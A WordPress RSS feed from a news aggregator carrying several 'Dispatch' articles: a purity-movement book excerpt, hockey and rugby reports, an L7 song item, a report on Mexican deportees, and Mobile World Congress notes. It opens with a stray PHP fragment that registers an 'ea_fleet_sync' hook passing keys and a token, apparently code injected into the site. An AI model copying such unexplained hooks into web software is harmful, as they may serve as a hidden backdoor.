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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Dispatch – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 03 Oct 2018 21:35:01 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Dispatch – Brief News https://briefnews.eu 32 32 Book Excerpt: A Dispatch from Inside the Evangelical ‘Purity’ Movement https://briefnews.eu/book-excerpt-a-dispatch-from-inside-the-evangelical-purity-movement/ https://briefnews.eu/book-excerpt-a-dispatch-from-inside-the-evangelical-purity-movement/#respond Wed, 03 Oct 2018 21:35:01 +0000 http://briefnews.eu/book-excerpt-a-dispatch-from-inside-the-evangelical-purity-movement/ The “purity industry” was one of the hallmarks of 1990 Christian Evangelical culture — and one of its creepier elements, in which young women were encouraged to stigmatize their sexual urges and promise the preservation of their virginity to others. Purity rings were worn, purity balls were thrown (and documented), and the rest of us looked on in bafflement… until now.

In her new book Pure: Inside the Evangelical Movement That Shamed a Generation of Young Women and How I Broke Free (out now from Touchstone), Linda Kay Klein shares the story of how her strict Evangelical upbringing taught her to be submissive, repressive, and “pure,” and how she came to reject that approach and seek out other young women who wondered why their faith and sexuality could not co-exist. We’re pleased to share this excerpt from Klein’s book.

From “PURE”

The need I felt to prove that I was good despite my developing body was never quite so strong as when the cast list for a play was released. I would run eagerly up to the list in hopes that maybe this time I had been cast as the romantic lead only to see my name, yet again, next to the role of a demon or a Jezebel. And it didn’t just happen in church plays either. Even in school and community plays, I somehow always seemed to be cast as the same kind of character. Once, in a mime I performed for a church mission trip, I was even cast as sex itself. My role was to silently seduce Christian with my body. Christian would refuse me and then slam a Bible in my face, after which I would jump back and wither onto the floor as Christian moved on to his next temptation: money.

After one performance, one of the actors, a pastor’s son, pulled me aside.

“You’re good at that part,” he told me.

“Thanks,” I replied. I had actually worked really hard at it, practicing my seductive moves and dramatic wilting until it was just right. This was what I wanted to do when I grew up after all! Find a beautiful, evangelical, actor husband and start a Christian theater troupe that would travel around the world changing hearts and minds for Jesus Christ through missionary mimes…sigh.

The guy smiled. “Maybe too good at it,” he raised his eyebrows.

“What do you mean?” I asked him, my face burning.

“Nothing,” he said. Then he turned away, repeating in a singsong, “Nothing at all.”

But I knew exactly what he meant. I wanted to make my leaders, my friends, myself believe I was good, but my stupid, floppy, breasty body was always getting in the way.

Later on the same mission trip, one of the girls handed me a piece of notebook paper. “Rob [the guy I’d had the conversation with] drew this,” she said. “He told some of the other boys it’s you.”

“What’s it supposed to be?” I asked, studying the long, thin pencil drawn line with jagged teeth at the bottom of it.

“He said it’s a hoe,” she answered, scrunching her face up in sympathy. My eyes hardened. A hoe? I had been around the public school block enough to know exactly what that meant.

I found Rob and gave him a lecture about why it was wrong to call me, or anybody, a whore that was so long and passionate he almost cried. But the lecture itself, that wasn’t what mattered. Not to me anyway. What has always mattered to me is what happened next.

Our reward for suffering “with joy” — smiling and not complaining — is being told we are “good.”

Minutes after Rob limped away, a group of other guys on the mission trip formed a circle around me.

Finally, one stepped forward.

“That. Was. Amazing,” he said.

“I thought he was going to cry!” another hollered, laughing.

“Oh man! He will never do that again!”

“Don’t mess with Linda, y’all. She willdestroy you!” said Dean, the boy who would later become my boyfriend. (Until, of course, I broke up with him for God.)

It was one of those moments, those rare moments in which you learn something about yourself by seeing yourself through others’ eyes. That day, I learned that I was tough. And that that was cool. But I would’ve given anything to be the kind of good girl that the pastor’s son never would have said those things about in the first place.

And so I prayed: “Don’t just give me the milk, Lord. Give me the meat.”

I was referring to 1 Corinthians 3:1-2: “And so, brothers and sisters, I could not speak to you as spiritual people, but rather as people of the flesh, as infants in Christ. I fed you with milk, not solid food, for you were not yet ready for it. Even now, you are still not ready.”

I had heard a sermon in which the milk was interpreted as easy living, and meat was interpreted as suffering. The message that suffering is somehow “good for us” is repeated often among some Christians, particularly Christian women. Our reward for suffering “with joy” — smiling and not complaining — is being told we are “good.”

Even outside of the church, everyone loves the good suffering woman: the pretty spinster who never admits her unending love for her sister’s husband (who secretly loves her too, of course); the single mother who gives up her dream so she can make enough money for her kids to pursue theirs; the pregnant woman who forgoes treatment for her terminal illness because she fears it could endanger her unborn baby and dies in childbirth. In books, movies, and just about everywhere else, girls get the message that the more selflessly and painfully a woman suffers, the more we love her. But nowhere is this message quite so clear as it is in religion.

As an example, in her book, A Year of Biblical Womanhood: How a Liberated Woman Found Herself Sitting on Her Roof, Covering Her Head, and Calling Her Husband “Master,” progressive evangelical author Rachel Held Evans highlights a subcategory of female martyrs that we especially love — suffering virgins “like Agatha (scourged, burnt, torn with meat hooks for refusing to marry the pagan governor of Sicily), Agnes (beheaded for refusing suitors and consecrating herself to Christ alone), Lucy (executed for distributing her wealth among the poor rather than marrying), and Blandina (a young slave thrown to wild beasts in the arena for professing Christianity).”

Having been raised on stories like these, I lay across my daybed praying for the opportunity to prove that I was not a “woman of the flesh.” To prove that I too could be an Agatha, an Agnes, a Lucy, or a Blandina. If I was just given the chance.

…My critics will say, “You turned out alright. You’re happily married with a great family. You’re a strong Christian (even if you’re not an evangelical). Whether or not you liked the purity message, it appears to have been good for you.” Though evangelicalism offered me many gifts — a deep spiritual life, mentors I could rely on, leadership opportunities that boosted my confidence, and more — the purity message was not one of them. Intended to make more “pure,” all this message did was make me more ashamed of my inevitable “impurities.”

Copyright © 2018 by Linda Kay Klein. From PURE: Inside the Evangelical Movement that Shamed a Generation of Young Women and How I Broke Free by Linda Kay Klein available now from Touchstone, a Division of Simon & Schuster, Inc. Printed by permission.

    

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]]> https://briefnews.eu/book-excerpt-a-dispatch-from-inside-the-evangelical-purity-movement/feed/ 0 Lightning bear down to dispatch Bruins in 5 games https://briefnews.eu/lightning-bear-down-to-dispatch-bruins-in-5-games/ https://briefnews.eu/lightning-bear-down-to-dispatch-bruins-in-5-games/#respond Sun, 06 May 2018 23:51:49 +0000 http://briefnews.eu/lightning-bear-down-to-dispatch-bruins-in-5-games/

Brayden Point and J.T. Miller scored second-period goals, helping the Tampa Bay Lightning beat the Boston Bruins 3-1 Sunday and advance to the Eastern Conference final for the third time in four years.

Andrei Vasilevskiy stopped 27 shots — 14 in the final period — for the Lightning, who rebounded from losing the series opener at home to eliminate the Bruins in five games.

David Krejci scored in the final minute of the first period to give Boston a 1-0 lead that Point erased with his unassisted goal at 10:43 of the second.

Miller’s power-play goal broke the tie less than four minutes later, and Anton Stralman added an empty-netter with 1:29 remaining to end any chance for a Boston comeback.

One day after being put “on notice” by the NHL for licking Lightning forward Ryan Callahan during Friday night’s overtime loss in Game 4, there were no more such incidents involving Bruins winger Brad Marchand, who also made headlines after appearing to lick Toronto’s Leo Komarov in the first round.

Tampa Bay will face either the Washington Capitals or Pittsburgh Penguins in the conference finals.

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“Dispatch From Mar-A-Lago” is a wickedly funny and joyfully loud fantasy in which the band trashes the president’s favorite Florida getaway, while he tweets from the toilet: “S.O.S. from the golden throne/‘Mogul’s’ in deep shit, he’s all alone/It’s not good, a riot in fact/The whole friggin’ country club is under attack.” Take a listen:

Singer Donita Sparks told Pitchfork contributor (and Flavorwire alum) Judy Berman that the song was more a lark than an act of protest: “We had the music, and then we were cracking up about [the idea of] “Mar-a-Lago.” But they’re well aware of the need for protest music at this particular moment: “It would almost be negligent to not make any sort of a comment on the current political situation, and our fans were just so devastated that we were like, ‘Fuck it. We don’t care if this is topical and, quite frankly, we’re one of the only bands that could actually fucking do it.’ Because we’ve got that humor and that furiousness, and we take on politics and society.”

Sparks also says that although the band has been touring together for the past couple of years, and appearing together to promote Sarah Price’s documentary profile L7: Pretend We’re Dead, they’re not quite ready to commit to a full album of new music just yet. “We didn’t want the pressure of, ‘L7 has a new album,’” she tells Berman. “This was just a fun track to throw out.” (They have another single scheduled for release later this fall.)

Read the full interview here.

            

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]]> https://briefnews.eu/listen-to-l7s-first-new-single-in-18-years-dispatch-from-mar-a-lago/feed/ 0 Dispatch From Nogales https://briefnews.eu/dispatch-from-nogales/ https://briefnews.eu/dispatch-from-nogales/#respond Fri, 04 Aug 2017 10:17:28 +0000 http://briefnews.eu/dispatch-from-nogales/

Above: Efrain Bautista Dominguez at a shelter for migrants on June 18, 2017, in Nogales, Sonora, Mexico. He was a longtime resident of Arizona when he received his deportation order. Photograph by Caitlin O’Hara for BuzzFeed News

NOGALES, Mexico — It’s already hot in Nogales, Arizona, and the sun burns off what’s left of the morning cloud cover and bakes the asphalt of the tiny downtown area. An unmarked white van pulls up to the border post. Aside from the government plates, there’s no way to tell it apart from any of the dozens of other vans that move day laborers back and forth between the small border outpost and the big city of Tucson an hour and a half north.

The van pulls into the checkpoint separating Nogales, Arizona, from its Mexican namesake and comes to a stop. Two men step out of it and head into a spartan, concrete building straddling the border. A few minutes later they emerge, carrying what few possessions they have, escorted by Mexican officials who will release them into Nogales.

It’s not even 7 a.m., but the day’s deportations have already begun at Nogales, one of several border checkpoints where the US churns out thousands of deportees daily, an increasing number of whom haven’t been to Mexico in years.

While the Obama administration essentially exempted hundreds of thousands of long-term undocumented immigrants from deportation, under President Trump’s zero-tolerance approach to immigration enforcement, the Department of Homeland Security has made finding and removing them a priority.

“Now with this dramatic increase of people deported from the United States, what people need is a lot more than a plate of food and a place to sleep for the night.”

And so far, DHS has been very successful: Since January, detentions by Immigration and Customs Enforcement have gone up 38% compared to the same period in 2016, according to testimony delivered by Acting ICE Director Thomas Homan in June. Enforcement under Trump “is expected to result in significant increases to interior apprehensions and removals,” he said.

Agents have begun arresting undocumented immigrants during targeted raids in Texas and other states, using formal “check-ins” with undocumented immigrants to detain people in the country illegally, and even bringing human trafficking charges against families of minors fleeing violence in Central America.

And those numbers will only get bigger: As of June 3, ICE had 968,773 removal orders for immigrants not yet in custody, according to Homan. But as more and more of the deported population is made up of people who have spent significant portions of their lives in the US, there are needs that the aid groups operating in Mexican border towns are ill-equipped to provide.

“Now with this dramatic increase of people deported from the United States, what people need is a lot more than a plate of food and a place to sleep for the night,” said Joanna Williams, the 26-year-old director of education and advocacy for the Kino Border Initiative, which assists migrants.

“What they need is assistance in reintegrating into their communities.”

That reintegration can prove difficult.


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Migrant people and volunteers share a meal June 18, 2017, at the Kino Border Initiative Comedor in Nogales, Sonora, Mexico.

A few hours later after being dropped at the border, the newly deported men arrive at El Comedor, a soup kitchen of sorts run by Kino, whose humanitarian workers are feeling the effects of Trump’s immigration policies.

“They receive a document from the Mexican government, and then they’re brought over here within an hour or two,” said Williams.

They take seats beside dozens of other deported men and women at the long tables inside the cramped El Comedor. After a prayer and announcements, a group of high school volunteers visiting from Oregon sets about serving the breakfast of eggs, beans, and tortillas.

Last year, El Comedor served 44,000 meals to recently arrived deportees, Williams said. “They do miracles over there in the kitchen.”

But it’s not just food that the aid workers are providing. There are clean clothes, toiletries, and free cell phones to call family in the US or Mexico, and several volunteers with medical training are on hand. Since almost none of the deportees have any identification, they can also get help obtaining a Mexican ID card, which will help them find work.

Kino has even begun assisting in job hunting for some of the deportees who have decided to stay in Nogales, Mexico, to be closer to their families in the States.

But the shock of going from having a home, a job, and money in the United States to being destitute in Mexico takes a heavy psychological toll, as does the separation from families, particularly among deportees with children.

Combined with a lack of good legal advice, this can lead desperate deportees to make bad decisions. Many, still shell-shocked from being thrown out of the country they’ve come to call home, hastily try to cross back into the US through the extremely dangerous Sonora desert, which has claimed untold hundreds of lives.

Others simply hang around in a haze, believing that something, somehow, will change and they will be reunited with their families.

And then there are people like Efrain Bautista Dominguez, who, less than week after being deported to Nogales, still doesn’t understand why it happened.


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A man walks past the border fence June 18, 2017, in Nogales, Sonora, Mexico.

Everywhere he goes — El Comedor, the Don Bosco migrant shelter, the streets — Dominguez clutches the brown folder that holds everything he has left from his time in the United States: a certificate of completion from an alcohol abuse class, documents related to his deportation, and a small notepad in which he keeps important numbers.

After 14 years in the United States, first in North Carolina and then in Arizona, Dominguez had put down roots. He had a good job, was married, and felt like he was part of his community. The government even knew he was living in Arizona but had deferred attempts at removing him, opting instead to require that he check in with immigration officials periodically.

Like a stunned man hastily retelling a harrowing tale of survival in the immediate aftermath of a bad car crash, Dominguez tells his story in a rushed, stream-of-consciousness cadence, randomly mixing English and Spanish and flitting from one point to the next. Though there’s panic and sadness in his eyes, he speaks of his life in the United States as if it hasn’t ended and makes clear he’s still in shock.

“America, for me? It’s nice! Big people, lots of respect,” he said with the confident smile of someone who doesn’t realize that that life is gone.

Without adequate resources available when Dominguez comes to terms with his new reality, Williams and other aid workers worry he and thousands like him will end up living in the streets of Nogales, Tijuana, and other border towns. And while groups like Kino are beginning to explore ways to help them, it’s simply too big and complex a job for the nonprofits working on the border.

“America, for me? It’s nice!,” he says with the confident smile of someone who doesn’t realize that that life is gone.

While job training, mental health, and housing programs will cost the government money, they could help make deportees — many of whom have US high school degrees and job skills — productive members of Mexican society. For instance, a 2015 study by Mexico’s National Institute of Migration of deportees in Tijuana found that 1 in 4 had a high school diploma and most spoke English.

That, Williams argued, makes the deported a significant, untapped resource. But under the current system, “people who have skills … end up in low-wage factory jobs,” she said.

So far at least, there’s little sign that the Mexican government, which did not return requests for comment, is going to come to the rescue. There’s a government-run program to assist Mexican citizens in setting up small businesses after they’ve returned to their home towns, and earlier this year the government helped release an app for Android phones that undocumented people in the US can use to alert family members that they’ve been detained. But on the ground in border towns, there’s little evidence of the sort of concerted effort NGOs believe is needed from either the government or international institutions. Although the Jesuits and Missionary Sisters of the Eucharist fund Kino’s work, groups like the UN and international refugee NGOs are focused on areas like Syria and not the US’s southern border.


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A sign warns migrants how long of a walk it is across the desert and that it’s impossible to bring enough water, and marks confirmed deaths on a map.

A lack of government interest in helping deported Mexicans isn’t confined to Nogales. Indeed, far from trying to find a way to welcome deported Mexicans home, the government in many communities seems more interested in simply sweeping them under the rug.

Leaning forward in her squeaky, old desk chair, Dr. Patricia Gonzalez-Zuniga peered out the window of her Tijuana office. “It must be a march for the sex workers,” she said, motioning toward a group of young, fresh-faced people winding their way through the chaotic line of taco stands, prostitutes, police, and various hawkers of secondhand wares that clog Avenida C Niños Héroes.

Her second-story office, where she runs the University of California’s El Cuete IV Project and the Tijuana Wound Clinic, is equally as chaotic, a jumble of Catholic iconography, lefty bumper stickers, brightly colored crafts from indigenous artists, and Yodas. Lots of Yodas. “Yes, I like Yoda,” she said, laughing when asked about them.

Working with intravenous drug users, the homeless community, and sex workers — many of whom come from the ranks of the more than 1 million people who have been deported to Tijuana since 1992 — makes her keenly aware of the challenges facing deportees and border communities.

Like Williams, Zuniga insists that government must step up its efforts to reintegrate deportees into Mexican society. “People are coming and have a lot of needs … [and] there’s a lack of adequate programs. But the government relies on NGOs,” she explained.

Part of the problem, she believes, is a lack of interest on the part of both government officials and Tijuana’s wealthy residents, who have made revitalizing the border town and its image a major priority over the last several years.

While the government and wealthy investors have been more than willing to dump $ 100 million on a new luxury medical facility catering to American medical tourists, for instance, Zuniga said there’s little appetite to build the sort of housing, educational, and medical infrastructure Tijuana needs to help its growing deported population.

Born and raised in Tijuana, Zuniga, 57, straddles the two sides of this border city — privileged enough growing up to go to private schools and become a medical doctor, she can move between the city’s elite and its most disenfranchised with ease.

Tijuana’s most influential citizens believe “all the people that are being deported are criminals because they deport people from jail, that they were gang members, and so on,” she said, adding that this stigma has been fueled by US rhetoric casting deportees as violent criminals and by years of neglect of the deported by local officials. This has resulted in huge sections of the city being overrun with homeless and desperate people.


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Men are escorted back into Mexico after being deported from the US early in the morning.

In 2015, city officials launched an aggressive effort to clean up Zona Norte, the part of Tijuana closest to the border checkpoint and where huge camps of homeless deportees had sprung up, including in El Bordo, a miles-long sewage ditch.

Police launched raids in El Bordo and other areas, rounding up thousands of deportees and scattering those who escaped to other parts of the city. Many of the arrested were shipped off to other cities, jailed, or put into mandatory drug rehab programs that aid workers claim were little more than forced labor camps.

The crackdown worked: The small knots of plastic tarps and cardboard shanties that had dotted El Bordo vanished, as did small tent cities that had been set up in nearby plazas.

But over the last six months, people have started returning to El Bordo and other familiar stomping grounds. And with more deportees expected, the city is again looking for a way to eliminate the eyesore of homelessness — and that has Zuniga worried.

“They were thinking they need not shelters, but detention centers.”

“I think some of the people here, like some of the people in the government, are more conservative, and they’re thinking, Oh no no no, we don’t need a shelter,” she explained.

What, if anything, government officials will do to address the problem is far from clear. In the past, officials have insisted the small amount of assistance they provide deportees — such as free bus tickets to their state of birth or access to computers to print their birth certificates — has been adequate.

But if the increasingly hostile attitude toward deportees among many wealthy Tijuana citizens is any indication, things could get worse. During a “community” meeting set up by the city’s government and well-to-do residents, Zuniga said, a city official floated the idea of simply building jails to house new deportees.

“They were thinking they need not shelters, but detention centers. They [see] what is happening with detention centers on the other side [of the border], and they want to do something modeled on that here,” Zuniga said incredulously.

“To me, that sounds like concentration camps.” ●

John Stanton is a senior national correspondent for BuzzFeed News. In 2014, Stanton was a recipient of the National Press Foundation’s 2014 Dirksen Award for distinguished reporting of Congress.

Contact John Stanton at john.stanton@buzzfeed.com.

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]]> https://briefnews.eu/dispatch-from-nogales/feed/ 0 Classy Hurricanes dispatch Highlanders https://briefnews.eu/classy-hurricanes-dispatch-highlanders/ https://briefnews.eu/classy-hurricanes-dispatch-highlanders/#respond Sat, 18 Mar 2017 09:01:49 +0000 http://briefnews.eu/classy-hurricanes-dispatch-highlanders/

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CENTRE Ngani Laumape scored two tries and fullback Jordie Barrett provided two brilliant try assists as the Hurricanes put the defence of their Super Rugby title back on track with a 41-15 win over the Highlanders.

After last weekend’s 26-18 loss to the Chiefs, the Hurricanes needed a home win to stay in touch with the leaders in the New Zealand conference and achieved it, by seven tries to two, though they had to work hard against a Highlanders team missing at least 12 players through injury.

The Hurricanes trailed briefly, 8-5, in the first half and led by only 10-8 at halftime but scored five tries in the second spell to claim a bonus point as the Highlanders lost some of their structure when forced to go to their bench.

“I think discipline was a major factor and our defence tonight was outstanding,” Hurricanes captain Dane Coles said.

“We really got off the line this week and put them under a bit of pressure.

“Those were things we worked on during the week and they really paid dividends tonight.”

The Hurricanes scored first through backrower Ardie Savea but a try to replacement centre Matt Faddes gave the Highlanders an 8-5 lead after 31 minutes.

Hurricanes captain Dane Coles gets airborne as he attempts to tackle Highlanders halfback Aaron Smith.

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Jordie Barrett produced two brilliant pieces of skill on either side of halftime to create tries and set the Hurricanes on course to an emphatic victory.

He first put in a pinpoint cross kick which led to Laumape’s first try in the 35th minute, then a behind-the-back pass which created a try for centre Matt Procter immediately after halftime.

Elliot Dixon scored a try for the Highlanders which cut the lead to 17-15 after 44 minutes but from then on it was one-way traffic as the Highlanders’ defence weakened.

Laumape scored his second try in the 50th minute, winger Julian Savea scored another in the 62nd minute then Vince Aso finished with a late double to leave the Highlanders without excuses.

“I think we played some good rugby in the first half but in the second half we probably just didn’t take our opportunities,” Highlanders captain Ben Smith said.

“Mistakes crept in and we couldn’t put that pressure on.

“They forced the errors that we made and they feed off peoples’ errors and really punish teams.”

HURRICANES 41 (Vince Aso 2, Ngani Laumape 2, Matt Proctor, Ardie Savea, Julian Savea tries Beauden Barrett 2, Jordie Barrett cons) bt HIGHLANDERS 15 (Elliot Dixon, Matt Faddes tries Marty Banks con Fletcher Smith pen) at Westpac Stadium. Referee: Angus Gardner

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]]> https://briefnews.eu/classy-hurricanes-dispatch-highlanders/feed/ 0 Dispatch from Day 1 of Mobile World Congress https://briefnews.eu/dispatch-from-day-1-of-mobile-world-congress/ https://briefnews.eu/dispatch-from-day-1-of-mobile-world-congress/#respond Tue, 28 Feb 2017 15:18:08 +0000 http://briefnews.eu/dispatch-from-day-1-of-mobile-world-congress/ bii average mobile network connection speeds by region ciscoBI Intelligence

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Mobile World Congress, the mobile industry’s largest global gathering, officially kicked off Monday.

For each day of the conference, we’ll be providing a rundown of the most interesting takeaways that BI Intelligence analysts spotted at the event, as well as the most notable product releases and partnership announcements to be made.

Here are some of the most notable insights from Monday:

  • 5G is going to take a lot of cooperation to get off the ground. 5G is the next generation of wireless networks that could be 30 to 50 times faster than today’s 4G networks. One of the biggest hurdles to achieving consumer-ready 5G is the lack of common standards that mobile network providers, device manufacturers, and equipment makers can all adhere to, according to comments Deutsche Telekom AG CEO Tim Hoettges made to Bloomberg.
  • Artificial intelligence will be an important offering of consumer hardware. Device manufacturer Sony and Japan-based mobile messaging app LINE are discussing a partnership to create mobile devices imbued with an intelligent digital personal assistant. Although Sony is an underdog in the smartphone arena, the company is betting that a smartphone segment equipped with a strong digital assistant will help the company to win share in the emerging wearables and connected device space. 
  • The mobile market is still device-happy. There was a whole spattering of device launches from contenders in the smartphone market. The device launches ranged from premium smartphones to basic feature phones, as different manufacturers aim to appeal to cost-conscientious consumers in emerging markets, aspirational smartphone owners in emerging markets, and smartphone users in developed markets. Here are a few of the mobile phone releases from MWC so far: 
    • Huawei unveiled the P10 smartphone equipped with better cameras and machine learning to help mobile apps and services launch and run more efficiently.
    • Chinese manufacturer ZTE introduced two new budget smartphones equipped with Android Nougat. The devices, the Blade V8 Lite and the Blade V8 Mini, will be available at first in Asia Pacific and Europe.
    • Sony announced four new smartphones in the Xperia line.
    • BlackBerry announced a new flagship smartphone featuring its signature physical keyboard. The new device is called the KeyOne.
    • LG announced its new flagship smartphone, the G6. 

Cloud computing — on-demand, internet-based computing services — has been successfully applied to many computing functions in recent years.

From consumer-facing, web-based productivity apps like Google Docs to enterprise database management suites, the tools businesses rely on are increasingly moving to the cloud.

But developing a cloud strategy is no easy task. Public cloud solutions will likely come to dominate the market over the next decade, but business constraints, such as security concerns and the limitations of existing infrastructure, make it difficult for companies to fully adopt the public cloud right now.

That means that hybrid clouds, in which multiple cloud implementations (including public and private) are connected, will remain popular for the time being, at least until these constraints are addressed. The tech giants that dominate the IaaS market — Amazon, IBM, Microsoft, and Google — are constantly expanding their offerings to address current business constraints as they compete for market share.

Christina Anzalone, senior research analyst at BI Intelligence, Business Insider’s premium research service, has compiled a detailed report on cloud computing that evaluates the current business considerations for the various cloud solutions and provides an outlook on the state of the market.

Here are some of the key takeaways from the report: 

  • Cloud computing solutions have gained traction because they’re flexible and cost efficient. Sixty-seven percent of companies used an Infrastructure-as-a-Service solution in 2015, like the cloud, for some part of their business, up 19% from the prior year.
  • All cloud solutions provide certain benefits that are becoming increasingly essential to businesses in the digital age. These include on-demand self-service, rapid elasticity, and broad network access, among others.
  • Security needs, demand predictability, existing infrastructure, and maintenance capabilities are key business considerations for enterprises choosing between cloud implementations.
  • While hybrid cloud strategies will remain popular in the near term, the market is likely to shift toward the public cloud over time. That’s because costs are falling, providers are developing solutions that address main concerns with the public cloud, and business practices like agile development and data analytics are dependent on advantages the public cloud provides. However, industries that handle sensitive information, like financial services and healthcare, will likely prefer hybrid and private cloud strategies given regulatory restrictions.
  • Amazon Web Services is the dominant cloud computing provider by market share, followed by Google, IBM, and Microsoft. Because the latter three companies have had little success taking on Amazon, market-share gains are likely to come at the expense of smaller competitors.

In full, the report:

  • Explains the different cloud computing strategies and benefits of cloud computing.
  • Evaluates key business considerations – security needs, demand predictability, existing infrastructure, and maintenance capabilities – for enterprises choosing between cloud implementations.
  • Provides and outlook for trends and major players in the cloud computing market.

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